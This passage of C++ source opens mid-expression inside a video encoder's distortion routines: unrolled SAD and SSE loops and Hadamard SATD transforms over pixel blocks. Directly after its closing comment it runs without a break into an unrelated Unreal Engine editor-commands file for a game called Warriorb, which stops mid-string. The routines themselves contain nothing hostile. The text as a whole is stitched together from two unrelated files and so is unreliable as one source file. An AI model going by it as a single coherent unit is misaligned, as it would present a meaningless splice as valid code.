piOrg[35] - piCur[35] ); uiSum += abs( piOrg[36] - piCur[36] ); uiSum += abs( piOrg[37] - piCur[37] ); uiSum += abs( piOrg[38] - piCur[38] ); uiSum += abs( piOrg[39] - piCur[39] ); uiSum += abs( piOrg[40] - piCur[40] ); uiSum += abs( piOrg[41] - piCur[41] ); uiSum += abs( piOrg[42] - piCur[42] ); uiSum += abs( piOrg[43] - piCur[43] ); uiSum += abs( piOrg[44] - piCur[44] ); uiSum += abs( piOrg[45] - piCur[45] ); uiSum += abs( piOrg[46] - piCur[46] ); uiSum += abs( piOrg[47] - piCur[47] ); piOrg += iStrideOrg; piCur += iStrideCur; } uiSum <<= iSubShift; return ( uiSum >> DISTORTION_PRECISION_ADJUSTMENT(pcDtParam->bitDepth-8) ); } // -------------------------------------------------------------------------------------------------------------------- // SSE // -------------------------------------------------------------------------------------------------------------------- Distortion TComRdCost::xGetSSE( DistParam* pcDtParam ) { if ( pcDtParam->bApplyWeight ) { return TComRdCostWeightPrediction::xGetSSEw( pcDtParam ); } const Pel* piOrg = pcDtParam->pOrg; const Pel* piCur = pcDtParam->pCur; Int iRows = pcDtParam->iRows; Int iCols = pcDtParam->iCols; Int iStrideOrg = pcDtParam->iStrideOrg; Int iStrideCur = pcDtParam->iStrideCur; Distortion uiSum = 0; UInt uiShift = DISTORTION_PRECISION_ADJUSTMENT((pcDtParam->bitDepth-8) << 1); Intermediate_Int iTemp; for( ; iRows != 0; iRows-- ) { for (Int n = 0; n < iCols; n++ ) { iTemp = piOrg[n ] - piCur[n ]; uiSum += Distortion(( iTemp * iTemp ) >> uiShift); } piOrg += iStrideOrg; piCur += iStrideCur; } return ( uiSum ); } Distortion TComRdCost::xGetSSE4( DistParam* pcDtParam ) { if ( pcDtParam->bApplyWeight ) { assert( pcDtParam->iCols == 4 ); return TComRdCostWeightPrediction::xGetSSEw( pcDtParam ); } const Pel* piOrg = pcDtParam->pOrg; const Pel* piCur = pcDtParam->pCur; Int iRows = pcDtParam->iRows; Int iStrideOrg = pcDtParam->iStrideOrg; Int iStrideCur = pcDtParam->iStrideCur; Distortion uiSum = 0; UInt uiShift = DISTORTION_PRECISION_ADJUSTMENT((pcDtParam->bitDepth-8) << 1); Intermediate_Int iTemp; for( ; iRows != 0; iRows-- ) { iTemp = piOrg[0] - piCur[0]; uiSum += Distortion(( iTemp * iTemp ) >> uiShift); iTemp = piOrg[1] - piCur[1]; uiSum += Distortion(( iTemp * iTemp ) >> uiShift); iTemp = piOrg[2] - piCur[2]; uiSum += Distortion(( iTemp * iTemp ) >> uiShift); iTemp = piOrg[3] - piCur[3]; uiSum += Distortion(( iTemp * iTemp ) >> uiShift); piOrg += iStrideOrg; piCur += iStrideCur; } return ( uiSum ); } Distortion TComRdCost::xGetSSE8( DistParam* pcDtParam ) { if ( pcDtParam->bApplyWeight ) { assert( pcDtParam->iCols == 8 ); return TComRdCostWeightPrediction::xGetSSEw( pcDtParam ); } const Pel* piOrg = pcDtParam->pOrg; const Pel* piCur = pcDtParam->pCur; Int iRows = pcDtParam->iRows; Int iStrideOrg = pcDtParam->iStrideOrg; Int iStrideCur = pcDtParam->iStrideCur; Distortion uiSum = 0; UInt uiShift = DISTORTION_PRECISION_ADJUSTMENT((pcDtParam->bitDepth-8) << 1); Intermediate_Int iTemp; for( ; iRows != 0; iRows-- ) { iTemp = piOrg[0] - piCur[0]; uiSum += Distortion(( iTemp * iTemp ) >> uiShift); iTemp = piOrg[1] - piCur[1]; uiSum += Distortion(( iTemp * iTemp ) >> uiShift); iTemp = piOrg[2] - piCur[2]; uiSum += Distortion(( iTemp * iTemp ) >> uiShift); iTemp = piOrg[3] - piCur[3]; uiSum += Distortion(( iTemp * iTemp ) >> uiShift); iTemp = piOrg[4] - piCur[4]; uiSum += Distortion(( iTemp * iTemp ) >> uiShift); iTemp = piOrg[5] - piCur[5]; uiSum += Distortion(( iTemp * iTemp ) >> uiShift); iTemp = piOrg[6] - piCur[6]; uiSum += Distortion(( iTemp * iTemp ) >> uiShift); iTemp = piOrg[7] - piCur[7]; uiSum += Distortion(( iTemp * iTemp ) >> uiShift); piOrg += iStrideOrg; piCur += iStrideCur; } return ( uiSum ); } Distortion TComRdCost::xGetSSE16( DistParam* pcDtParam ) { if ( pcDtParam->bApplyWeight ) { assert( pcDtParam->iCols == 16 ); return TComRdCostWeightPrediction::xGetSSEw( pcDtParam ); } const Pel* piOrg = pcDtParam->pOrg; const Pel* piCur = pcDtParam->pCur; Int iRows = pcDtParam->iRows; Int iStrideOrg = pcDtParam->iStrideOrg; Int iStrideCur = pcDtParam->iStrideCur; Distortion uiSum = 0; UInt uiShift = DISTORTION_PRECISION_ADJUSTMENT((pcDtParam->bitDepth-8) << 1); Intermediate_Int iTemp; for( ; iRows != 0; iRows-- ) { iTemp = piOrg[ 0] - piCur[ 0]; uiSum += Distortion(( iTemp * iTemp ) >> uiShift); iTemp = piOrg[ 1] - piCur[ 1]; uiSum += Distortion(( iTemp * iTemp ) >> uiShift); iTemp = piOrg[ 2] - piCur[ 2]; uiSum += Distortion(( iTemp * iTemp ) >> uiShift); iTemp = piOrg[ 3] - piCur[ 3]; uiSum += Distortion(( iTemp * iTemp ) >> uiShift); iTemp = piOrg[ 4] - piCur[ 4]; uiSum += Distortion(( iTemp * iTemp ) >> uiShift); iTemp = piOrg[ 5] - piCur[ 5]; uiSum += Distortion(( iTemp * iTemp ) >> uiShift); iTemp = piOrg[ 6] - piCur[ 6]; uiSum += Distortion(( iTemp * iTemp ) >> uiShift); iTemp = piOrg[ 7] - piCur[ 7]; uiSum += Distortion(( iTemp * iTemp ) >> uiShift); iTemp = piOrg[ 8] - piCur[ 8]; uiSum += Distortion(( iTemp * iTemp ) >> uiShift); iTemp = piOrg[ 9] - piCur[ 9]; uiSum += Distortion(( iTemp * iTemp ) >> uiShift); iTemp = piOrg[10] - piCur[10]; uiSum += Distortion(( iTemp * iTemp ) >> uiShift); iTemp = piOrg[11] - piCur[11]; uiSum += Distortion(( iTemp * iTemp ) >> uiShift); iTemp = piOrg[12] - piCur[12]; uiSum += Distortion(( iTemp * iTemp ) >> uiShift); iTemp = piOrg[13] - piCur[13]; uiSum += Distortion(( iTemp * iTemp ) >> uiShift); iTemp = piOrg[14] - piCur[14]; uiSum += Distortion(( iTemp * iTemp ) >> uiShift); iTemp = piOrg[15] - piCur[15]; uiSum += Distortion(( iTemp * iTemp ) >> uiShift); piOrg += iStrideOrg; piCur += iStrideCur; } return ( uiSum ); } Distortion TComRdCost::xGetSSE16N( DistParam* pcDtParam ) { if ( pcDtParam->bApplyWeight ) { return TComRdCostWeightPrediction::xGetSSEw( pcDtParam ); } const Pel* piOrg = pcDtParam->pOrg; const Pel* piCur = pcDtParam->pCur; Int iRows = pcDtParam->iRows; Int iCols = pcDtParam->iCols; Int iStrideOrg = pcDtParam->iStrideOrg; Int iStrideCur = pcDtParam->iStrideCur; Distortion uiSum = 0; UInt uiShift = DISTORTION_PRECISION_ADJUSTMENT((pcDtParam->bitDepth-8) << 1); Intermediate_Int iTemp; for( ; iRows != 0; iRows-- ) { for (Int n = 0; n < iCols; n+=16 ) { iTemp = piOrg[n+ 0] - piCur[n+ 0]; uiSum += Distortion(( iTemp * iTemp ) >> uiShift); iTemp = piOrg[n+ 1] - piCur[n+ 1]; uiSum += Distortion(( iTemp * iTemp ) >> uiShift); iTemp = piOrg[n+ 2] - piCur[n+ 2]; uiSum += Distortion(( iTemp * iTemp ) >> uiShift); iTemp = piOrg[n+ 3] - piCur[n+ 3]; uiSum += Distortion(( iTemp * iTemp ) >> uiShift); iTemp = piOrg[n+ 4] - piCur[n+ 4]; uiSum += Distortion(( iTemp * iTemp ) >> uiShift); iTemp = piOrg[n+ 5] - piCur[n+ 5]; uiSum += Distortion(( iTemp * iTemp ) >> uiShift); iTemp = piOrg[n+ 6] - piCur[n+ 6]; uiSum += Distortion(( iTemp * iTemp ) >> uiShift); iTemp = piOrg[n+ 7] - piCur[n+ 7]; uiSum += Distortion(( iTemp * iTemp ) >> uiShift); iTemp = piOrg[n+ 8] - piCur[n+ 8]; uiSum += Distortion(( iTemp * iTemp ) >> uiShift); iTemp = piOrg[n+ 9] - piCur[n+ 9]; uiSum += Distortion(( iTemp * iTemp ) >> uiShift); iTemp = piOrg[n+10] - piCur[n+10]; uiSum += Distortion(( iTemp * iTemp ) >> uiShift); iTemp = piOrg[n+11] - piCur[n+11]; uiSum += Distortion(( iTemp * iTemp ) >> uiShift); iTemp = piOrg[n+12] - piCur[n+12]; uiSum += Distortion(( iTemp * iTemp ) >> uiShift); iTemp = piOrg[n+13] - piCur[n+13]; uiSum += Distortion(( iTemp * iTemp ) >> uiShift); iTemp = piOrg[n+14] - piCur[n+14]; uiSum += Distortion(( iTemp * iTemp ) >> uiShift); iTemp = piOrg[n+15] - piCur[n+15]; uiSum += Distortion(( iTemp * iTemp ) >> uiShift); } piOrg += iStrideOrg; piCur += iStrideCur; } return ( uiSum ); } Distortion TComRdCost::xGetSSE32( DistParam* pcDtParam ) { if ( pcDtParam->bApplyWeight ) { assert( pcDtParam->iCols == 32 ); return TComRdCostWeightPrediction::xGetSSEw( pcDtParam ); } const Pel* piOrg = pcDtParam->pOrg; const Pel* piCur = pcDtParam->pCur; Int iRows = pcDtParam->iRows; Int iStrideOrg = pcDtParam->iStrideOrg; Int iStrideCur = pcDtParam->iStrideCur; Distortion uiSum = 0; UInt uiShift = DISTORTION_PRECISION_ADJUSTMENT((pcDtParam->bitDepth-8) << 1); Intermediate_Int iTemp; for( ; iRows != 0; iRows-- ) { iTemp = piOrg[ 0] - piCur[ 0]; uiSum += Distortion(( iTemp * iTemp ) >> uiShift); iTemp = piOrg[ 1] - piCur[ 1]; uiSum += Distortion(( iTemp * iTemp ) >> uiShift); iTemp = piOrg[ 2] - piCur[ 2]; uiSum += Distortion(( iTemp * iTemp ) >> uiShift); iTemp = piOrg[ 3] - piCur[ 3]; uiSum += Distortion(( iTemp * iTemp ) >> uiShift); iTemp = piOrg[ 4] - piCur[ 4]; uiSum += Distortion(( iTemp * iTemp ) >> uiShift); iTemp = piOrg[ 5] - piCur[ 5]; uiSum += Distortion(( iTemp * iTemp ) >> uiShift); iTemp = piOrg[ 6] - piCur[ 6]; uiSum += Distortion(( iTemp * iTemp ) >> uiShift); iTemp = piOrg[ 7] - piCur[ 7]; uiSum += Distortion(( iTemp * iTemp ) >> uiShift); iTemp = piOrg[ 8] - piCur[ 8]; uiSum += Distortion(( iTemp * iTemp ) >> uiShift); iTemp = piOrg[ 9] - piCur[ 9]; uiSum += Distortion(( iTemp * iTemp ) >> uiShift); iTemp = piOrg[10] - piCur[10]; uiSum += Distortion(( iTemp * iTemp ) >> uiShift); iTemp = piOrg[11] - piCur[11]; uiSum += Distortion(( iTemp * iTemp ) >> uiShift); iTemp = piOrg[12] - piCur[12]; uiSum += Distortion(( iTemp * iTemp ) >> uiShift); iTemp = piOrg[13] - piCur[13]; uiSum += Distortion(( iTemp * iTemp ) >> uiShift); iTemp = piOrg[14] - piCur[14]; uiSum += Distortion(( iTemp * iTemp ) >> uiShift); iTemp = piOrg[15] - piCur[15]; uiSum += Distortion(( iTemp * iTemp ) >> uiShift); iTemp = piOrg[16] - piCur[16]; uiSum += Distortion(( iTemp * iTemp ) >> uiShift); iTemp = piOrg[17] - piCur[17]; uiSum += Distortion(( iTemp * iTemp ) >> uiShift); iTemp = piOrg[18] - piCur[18]; uiSum += Distortion(( iTemp * iTemp ) >> uiShift); iTemp = piOrg[19] - piCur[19]; uiSum += Distortion(( iTemp * iTemp ) >> uiShift); iTemp = piOrg[20] - piCur[20]; uiSum += Distortion(( iTemp * iTemp ) >> uiShift); iTemp = piOrg[21] - piCur[21]; uiSum += Distortion(( iTemp * iTemp ) >> uiShift); iTemp = piOrg[22] - piCur[22]; uiSum += Distortion(( iTemp * iTemp ) >> uiShift); iTemp = piOrg[23] - piCur[23]; uiSum += Distortion(( iTemp * iTemp ) >> uiShift); iTemp = piOrg[24] - piCur[24]; uiSum += Distortion(( iTemp * iTemp ) >> uiShift); iTemp = piOrg[25] - piCur[25]; uiSum += Distortion(( iTemp * iTemp ) >> uiShift); iTemp = piOrg[26] - piCur[26]; uiSum += Distortion(( iTemp * iTemp ) >> uiShift); iTemp = piOrg[27] - piCur[27]; uiSum += Distortion(( iTemp * iTemp ) >> uiShift); iTemp = piOrg[28] - piCur[28]; uiSum += Distortion(( iTemp * iTemp ) >> uiShift); iTemp = piOrg[29] - piCur[29]; uiSum += Distortion(( iTemp * iTemp ) >> uiShift); iTemp = piOrg[30] - piCur[30]; uiSum += Distortion(( iTemp * iTemp ) >> uiShift); iTemp = piOrg[31] - piCur[31]; uiSum += Distortion(( iTemp * iTemp ) >> uiShift); piOrg += iStrideOrg; piCur += iStrideCur; } return ( uiSum ); } Distortion TComRdCost::xGetSSE64( DistParam* pcDtParam ) { if ( pcDtParam->bApplyWeight ) { assert( pcDtParam->iCols == 64 ); return TComRdCostWeightPrediction::xGetSSEw( pcDtParam ); } const Pel* piOrg = pcDtParam->pOrg; const Pel* piCur = pcDtParam->pCur; Int iRows = pcDtParam->iRows; Int iStrideOrg = pcDtParam->iStrideOrg; Int iStrideCur = pcDtParam->iStrideCur; Distortion uiSum = 0; UInt uiShift = DISTORTION_PRECISION_ADJUSTMENT((pcDtParam->bitDepth-8) << 1); Intermediate_Int iTemp; for( ; iRows != 0; iRows-- ) { iTemp = piOrg[ 0] - piCur[ 0]; uiSum += Distortion(( iTemp * iTemp ) >> uiShift); iTemp = piOrg[ 1] - piCur[ 1]; uiSum += Distortion(( iTemp * iTemp ) >> uiShift); iTemp = piOrg[ 2] - piCur[ 2]; uiSum += Distortion(( iTemp * iTemp ) >> uiShift); iTemp = piOrg[ 3] - piCur[ 3]; uiSum += Distortion(( iTemp * iTemp ) >> uiShift); iTemp = piOrg[ 4] - piCur[ 4]; uiSum += Distortion(( iTemp * iTemp ) >> uiShift); iTemp = piOrg[ 5] - piCur[ 5]; uiSum += Distortion(( iTemp * iTemp ) >> uiShift); iTemp = piOrg[ 6] - piCur[ 6]; uiSum += Distortion(( iTemp * iTemp ) >> uiShift); iTemp = piOrg[ 7] - piCur[ 7]; uiSum += Distortion(( iTemp * iTemp ) >> uiShift); iTemp = piOrg[ 8] - piCur[ 8]; uiSum += Distortion(( iTemp * iTemp ) >> uiShift); iTemp = piOrg[ 9] - piCur[ 9]; uiSum += Distortion(( iTemp * iTemp ) >> uiShift); iTemp = piOrg[10] - piCur[10]; uiSum += Distortion(( iTemp * iTemp ) >> uiShift); iTemp = piOrg[11] - piCur[11]; uiSum += Distortion(( iTemp * iTemp ) >> uiShift); iTemp = piOrg[12] - piCur[12]; uiSum += Distortion(( iTemp * iTemp ) >> uiShift); iTemp = piOrg[13] - piCur[13]; uiSum += Distortion(( iTemp * iTemp ) >> uiShift); iTemp = piOrg[14] - piCur[14]; uiSum += Distortion(( iTemp * iTemp ) >> uiShift); iTemp = piOrg[15] - piCur[15]; uiSum += Distortion(( iTemp * iTemp ) >> uiShift); iTemp = piOrg[16] - piCur[16]; uiSum += Distortion(( iTemp * iTemp ) >> uiShift); iTemp = piOrg[17] - piCur[17]; uiSum += Distortion(( iTemp * iTemp ) >> uiShift); iTemp = piOrg[18] - piCur[18]; uiSum += Distortion(( iTemp * iTemp ) >> uiShift); iTemp = piOrg[19] - piCur[19]; uiSum += Distortion(( iTemp * iTemp ) >> uiShift); iTemp = piOrg[20] - piCur[20]; uiSum += Distortion(( iTemp * iTemp ) >> uiShift); iTemp = piOrg[21] - piCur[21]; uiSum += Distortion(( iTemp * iTemp ) >> uiShift); iTemp = piOrg[22] - piCur[22]; uiSum += Distortion(( iTemp * iTemp ) >> uiShift); iTemp = piOrg[23] - piCur[23]; uiSum += Distortion(( iTemp * iTemp ) >> uiShift); iTemp = piOrg[24] - piCur[24]; uiSum += Distortion(( iTemp * iTemp ) >> uiShift); iTemp = piOrg[25] - piCur[25]; uiSum += Distortion(( iTemp * iTemp ) >> uiShift); iTemp = piOrg[26] - piCur[26]; uiSum += Distortion(( iTemp * iTemp ) >> uiShift); iTemp = piOrg[27] - piCur[27]; uiSum += Distortion(( iTemp * iTemp ) >> uiShift); iTemp = piOrg[28] - piCur[28]; uiSum += Distortion(( iTemp * iTemp ) >> uiShift); iTemp = piOrg[29] - piCur[29]; uiSum += Distortion(( iTemp * iTemp ) >> uiShift); iTemp = piOrg[30] - piCur[30]; uiSum += Distortion(( iTemp * iTemp ) >> uiShift); iTemp = piOrg[31] - piCur[31]; uiSum += Distortion(( iTemp * iTemp ) >> uiShift); iTemp = piOrg[32] - piCur[32]; uiSum += Distortion(( iTemp * iTemp ) >> uiShift); iTemp = piOrg[33] - piCur[33]; uiSum += Distortion(( iTemp * iTemp ) >> uiShift); iTemp = piOrg[34] - piCur[34]; uiSum += Distortion(( iTemp * iTemp ) >> uiShift); iTemp = piOrg[35] - piCur[35]; uiSum += Distortion(( iTemp * iTemp ) >> uiShift); iTemp = piOrg[36] - piCur[36]; uiSum += Distortion(( iTemp * iTemp ) >> uiShift); iTemp = piOrg[37] - piCur[37]; uiSum += Distortion(( iTemp * iTemp ) >> uiShift); iTemp = piOrg[38] - piCur[38]; uiSum += Distortion(( iTemp * iTemp ) >> uiShift); iTemp = piOrg[39] - piCur[39]; uiSum += Distortion(( iTemp * iTemp ) >> uiShift); iTemp = piOrg[40] - piCur[40]; uiSum += Distortion(( iTemp * iTemp ) >> uiShift); iTemp = piOrg[41] - piCur[41]; uiSum += Distortion(( iTemp * iTemp ) >> uiShift); iTemp = piOrg[42] - piCur[42]; uiSum += Distortion(( iTemp * iTemp ) >> uiShift); iTemp = piOrg[43] - piCur[43]; uiSum += Distortion(( iTemp * iTemp ) >> uiShift); iTemp = piOrg[44] - piCur[44]; uiSum += Distortion(( iTemp * iTemp ) >> uiShift); iTemp = piOrg[45] - piCur[45]; uiSum += Distortion(( iTemp * iTemp ) >> uiShift); iTemp = piOrg[46] - piCur[46]; uiSum += Distortion(( iTemp * iTemp ) >> uiShift); iTemp = piOrg[47] - piCur[47]; uiSum += Distortion(( iTemp * iTemp ) >> uiShift); iTemp = piOrg[48] - piCur[48]; uiSum += Distortion(( iTemp * iTemp ) >> uiShift); iTemp = piOrg[49] - piCur[49]; uiSum += Distortion(( iTemp * iTemp ) >> uiShift); iTemp = piOrg[50] - piCur[50]; uiSum += Distortion(( iTemp * iTemp ) >> uiShift); iTemp = piOrg[51] - piCur[51]; uiSum += Distortion(( iTemp * iTemp ) >> uiShift); iTemp = piOrg[52] - piCur[52]; uiSum += Distortion(( iTemp * iTemp ) >> uiShift); iTemp = piOrg[53] - piCur[53]; uiSum += Distortion(( iTemp * iTemp ) >> uiShift); iTemp = piOrg[54] - piCur[54]; uiSum += Distortion(( iTemp * iTemp ) >> uiShift); iTemp = piOrg[55] - piCur[55]; uiSum += Distortion(( iTemp * iTemp ) >> uiShift); iTemp = piOrg[56] - piCur[56]; uiSum += Distortion(( iTemp * iTemp ) >> uiShift); iTemp = piOrg[57] - piCur[57]; uiSum += Distortion(( iTemp * iTemp ) >> uiShift); iTemp = piOrg[58] - piCur[58]; uiSum += Distortion(( iTemp * iTemp ) >> uiShift); iTemp = piOrg[59] - piCur[59]; uiSum += Distortion(( iTemp * iTemp ) >> uiShift); iTemp = piOrg[60] - piCur[60]; uiSum += Distortion(( iTemp * iTemp ) >> uiShift); iTemp = piOrg[61] - piCur[61]; uiSum += Distortion(( iTemp * iTemp ) >> uiShift); iTemp = piOrg[62] - piCur[62]; uiSum += Distortion(( iTemp * iTemp ) >> uiShift); iTemp = piOrg[63] - piCur[63]; uiSum += Distortion(( iTemp * iTemp ) >> uiShift); piOrg += iStrideOrg; piCur += iStrideCur; } return ( uiSum ); } // -------------------------------------------------------------------------------------------------------------------- // HADAMARD with step (used in fractional search) // -------------------------------------------------------------------------------------------------------------------- Distortion TComRdCost::xCalcHADs2x2( const Pel *piOrg, const Pel *piCur, Int iStrideOrg, Int iStrideCur, Int iStep ) { Distortion satd = 0; TCoeff diff[4], m[4]; assert( iStep == 1 ); diff[0] = piOrg[0 ] - piCur[0]; diff[1] = piOrg[1 ] - piCur[1]; diff[2] = piOrg[iStrideOrg ] - piCur[0 + iStrideCur]; diff[3] = piOrg[iStrideOrg + 1] - piCur[1 + iStrideCur]; m[0] = diff[0] + diff[2]; m[1] = diff[1] + diff[3]; m[2] = diff[0] - diff[2]; m[3] = diff[1] - diff[3]; satd += abs(m[0] + m[1]); satd += abs(m[0] - m[1]); satd += abs(m[2] + m[3]); satd += abs(m[2] - m[3]); return satd; } Distortion TComRdCost::xCalcHADs4x4( const Pel *piOrg, const Pel *piCur, Int iStrideOrg, Int iStrideCur, Int iStep ) { Int k; Distortion satd = 0; TCoeff diff[16], m[16], d[16]; assert( iStep == 1 ); for( k = 0; k < 16; k+=4 ) { diff[k+0] = piOrg[0] - piCur[0]; diff[k+1] = piOrg[1] - piCur[1]; diff[k+2] = piOrg[2] - piCur[2]; diff[k+3] = piOrg[3] - piCur[3]; piCur += iStrideCur; piOrg += iStrideOrg; } /*===== hadamard transform =====*/ m[ 0] = diff[ 0] + diff[12]; m[ 1] = diff[ 1] + diff[13]; m[ 2] = diff[ 2] + diff[14]; m[ 3] = diff[ 3] + diff[15]; m[ 4] = diff[ 4] + diff[ 8]; m[ 5] = diff[ 5] + diff[ 9]; m[ 6] = diff[ 6] + diff[10]; m[ 7] = diff[ 7] + diff[11]; m[ 8] = diff[ 4] - diff[ 8]; m[ 9] = diff[ 5] - diff[ 9]; m[10] = diff[ 6] - diff[10]; m[11] = diff[ 7] - diff[11]; m[12] = diff[ 0] - diff[12]; m[13] = diff[ 1] - diff[13]; m[14] = diff[ 2] - diff[14]; m[15] = diff[ 3] - diff[15]; d[ 0] = m[ 0] + m[ 4]; d[ 1] = m[ 1] + m[ 5]; d[ 2] = m[ 2] + m[ 6]; d[ 3] = m[ 3] + m[ 7]; d[ 4] = m[ 8] + m[12]; d[ 5] = m[ 9] + m[13]; d[ 6] = m[10] + m[14]; d[ 7] = m[11] + m[15]; d[ 8] = m[ 0] - m[ 4]; d[ 9] = m[ 1] - m[ 5]; d[10] = m[ 2] - m[ 6]; d[11] = m[ 3] - m[ 7]; d[12] = m[12] - m[ 8]; d[13] = m[13] - m[ 9]; d[14] = m[14] - m[10]; d[15] = m[15] - m[11]; m[ 0] = d[ 0] + d[ 3]; m[ 1] = d[ 1] + d[ 2]; m[ 2] = d[ 1] - d[ 2]; m[ 3] = d[ 0] - d[ 3]; m[ 4] = d[ 4] + d[ 7]; m[ 5] = d[ 5] + d[ 6]; m[ 6] = d[ 5] - d[ 6]; m[ 7] = d[ 4] - d[ 7]; m[ 8] = d[ 8] + d[11]; m[ 9] = d[ 9] + d[10]; m[10] = d[ 9] - d[10]; m[11] = d[ 8] - d[11]; m[12] = d[12] + d[15]; m[13] = d[13] + d[14]; m[14] = d[13] - d[14]; m[15] = d[12] - d[15]; d[ 0] = m[ 0] + m[ 1]; d[ 1] = m[ 0] - m[ 1]; d[ 2] = m[ 2] + m[ 3]; d[ 3] = m[ 3] - m[ 2]; d[ 4] = m[ 4] + m[ 5]; d[ 5] = m[ 4] - m[ 5]; d[ 6] = m[ 6] + m[ 7]; d[ 7] = m[ 7] - m[ 6]; d[ 8] = m[ 8] + m[ 9]; d[ 9] = m[ 8] - m[ 9]; d[10] = m[10] + m[11]; d[11] = m[11] - m[10]; d[12] = m[12] + m[13]; d[13] = m[12] - m[13]; d[14] = m[14] + m[15]; d[15] = m[15] - m[14]; for (k=0; k<16; ++k) { satd += abs(d[k]); } satd = ((satd+1)>>1); return satd; } Distortion TComRdCost::xCalcHADs8x8( const Pel *piOrg, const Pel *piCur, Int iStrideOrg, Int iStrideCur, Int iStep ) { Int k, i, j, jj; Distortion sad = 0; TCoeff diff[64], m1[8][8], m2[8][8], m3[8][8]; assert( iStep == 1 ); for( k = 0; k < 64; k += 8 ) { diff[k+0] = piOrg[0] - piCur[0]; diff[k+1] = piOrg[1] - piCur[1]; diff[k+2] = piOrg[2] - piCur[2]; diff[k+3] = piOrg[3] - piCur[3]; diff[k+4] = piOrg[4] - piCur[4]; diff[k+5] = piOrg[5] - piCur[5]; diff[k+6] = piOrg[6] - piCur[6]; diff[k+7] = piOrg[7] - piCur[7]; piCur += iStrideCur; piOrg += iStrideOrg; } //horizontal for (j=0; j < 8; j++) { jj = j << 3; m2[j][0] = diff[jj ] + diff[jj+4]; m2[j][1] = diff[jj+1] + diff[jj+5]; m2[j][2] = diff[jj+2] + diff[jj+6]; m2[j][3] = diff[jj+3] + diff[jj+7]; m2[j][4] = diff[jj ] - diff[jj+4]; m2[j][5] = diff[jj+1] - diff[jj+5]; m2[j][6] = diff[jj+2] - diff[jj+6]; m2[j][7] = diff[jj+3] - diff[jj+7]; m1[j][0] = m2[j][0] + m2[j][2]; m1[j][1] = m2[j][1] + m2[j][3]; m1[j][2] = m2[j][0] - m2[j][2]; m1[j][3] = m2[j][1] - m2[j][3]; m1[j][4] = m2[j][4] + m2[j][6]; m1[j][5] = m2[j][5] + m2[j][7]; m1[j][6] = m2[j][4] - m2[j][6]; m1[j][7] = m2[j][5] - m2[j][7]; m2[j][0] = m1[j][0] + m1[j][1]; m2[j][1] = m1[j][0] - m1[j][1]; m2[j][2] = m1[j][2] + m1[j][3]; m2[j][3] = m1[j][2] - m1[j][3]; m2[j][4] = m1[j][4] + m1[j][5]; m2[j][5] = m1[j][4] - m1[j][5]; m2[j][6] = m1[j][6] + m1[j][7]; m2[j][7] = m1[j][6] - m1[j][7]; } //vertical for (i=0; i < 8; i++) { m3[0][i] = m2[0][i] + m2[4][i]; m3[1][i] = m2[1][i] + m2[5][i]; m3[2][i] = m2[2][i] + m2[6][i]; m3[3][i] = m2[3][i] + m2[7][i]; m3[4][i] = m2[0][i] - m2[4][i]; m3[5][i] = m2[1][i] - m2[5][i]; m3[6][i] = m2[2][i] - m2[6][i]; m3[7][i] = m2[3][i] - m2[7][i]; m1[0][i] = m3[0][i] + m3[2][i]; m1[1][i] = m3[1][i] + m3[3][i]; m1[2][i] = m3[0][i] - m3[2][i]; m1[3][i] = m3[1][i] - m3[3][i]; m1[4][i] = m3[4][i] + m3[6][i]; m1[5][i] = m3[5][i] + m3[7][i]; m1[6][i] = m3[4][i] - m3[6][i]; m1[7][i] = m3[5][i] - m3[7][i]; m2[0][i] = m1[0][i] + m1[1][i]; m2[1][i] = m1[0][i] - m1[1][i]; m2[2][i] = m1[2][i] + m1[3][i]; m2[3][i] = m1[2][i] - m1[3][i]; m2[4][i] = m1[4][i] + m1[5][i]; m2[5][i] = m1[4][i] - m1[5][i]; m2[6][i] = m1[6][i] + m1[7][i]; m2[7][i] = m1[6][i] - m1[7][i]; } for (i = 0; i < 8; i++) { for (j = 0; j < 8; j++) { sad += abs(m2[i][j]); } } sad=((sad+2)>>2); return sad; } Distortion TComRdCost::xGetHADs( DistParam* pcDtParam ) { if ( pcDtParam->bApplyWeight ) { return TComRdCostWeightPrediction::xGetHADsw( pcDtParam ); } const Pel* piOrg = pcDtParam->pOrg; const Pel* piCur = pcDtParam->pCur; const Int iRows = pcDtParam->iRows; const Int iCols = pcDtParam->iCols; const Int iStrideCur = pcDtParam->iStrideCur; const Int iStrideOrg = pcDtParam->iStrideOrg; const Int iStep = pcDtParam->iStep; Int x, y; Distortion uiSum = 0; if( ( iRows % 8 == 0) && (iCols % 8 == 0) ) { Int iOffsetOrg = iStrideOrg<<3; Int iOffsetCur = iStrideCur<<3; for ( y=0; y<iRows; y+= 8 ) { for ( x=0; x<iCols; x+= 8 ) { uiSum += xCalcHADs8x8( &piOrg[x], &piCur[x*iStep], iStrideOrg, iStrideCur, iStep ); } piOrg += iOffsetOrg; piCur += iOffsetCur; } } else if( ( iRows % 4 == 0) && (iCols % 4 == 0) ) { Int iOffsetOrg = iStrideOrg<<2; Int iOffsetCur = iStrideCur<<2; for ( y=0; y<iRows; y+= 4 ) { for ( x=0; x<iCols; x+= 4 ) { uiSum += xCalcHADs4x4( &piOrg[x], &piCur[x*iStep], iStrideOrg, iStrideCur, iStep ); } piOrg += iOffsetOrg; piCur += iOffsetCur; } } else if( ( iRows % 2 == 0) && (iCols % 2 == 0) ) { Int iOffsetOrg = iStrideOrg<<1; Int iOffsetCur = iStrideCur<<1; for ( y=0; y<iRows; y+=2 ) { for ( x=0; x<iCols; x+=2 ) { uiSum += xCalcHADs2x2( &piOrg[x], &piCur[x*iStep], iStrideOrg, iStrideCur, iStep ); } piOrg += iOffsetOrg; piCur += iOffsetCur; } } else { assert(false); } return ( uiSum >> DISTORTION_PRECISION_ADJUSTMENT(pcDtParam->bitDepth-8) ); } //! \}
// Copyright (c) Csaba Molnar & Daniel Butum. All Rights Reserved. #include "SoEditorCommands.h" #include "Framework/Commands/Commands.h" #define LOCTEXT_NAMESPACE "WarriorbEditor" void FSoEditorCommands::RegisterCommands() { UI_COMMAND(LoadCameraData, "Camera Load", "Loads camera data", EUserInterfaceActionType::Button, FInputChord()); UI_COMMAND(SaveCameraData, "Camera Save", "Saves camera data", EUserInterfaceActionType::Button, FInputChord()); UI_COMMAND(ToggleSplinePositionCorrection, "TSC", "Toggles spline location correction", EUserInterfaceActionType::ToggleButton, FInputChord()); UI_COMMAND(ToggleDisplayCameraKeys, "CamKeys", "Toggles visualization of camera keys", EUserInterfaceActionType::ToggleButton, FInputChord()); UI_COMMAND(RebuildEnemyGroups, "EnemyGroups", "Rebuilds Enemy Groups", EUserInterfaceActionType::Button, FInputChord()); UI_COMMAND(BuildAll, "Build All", "Warriorb Build all Version. Builds all levels (precomputes lighting data and visibility data, generates 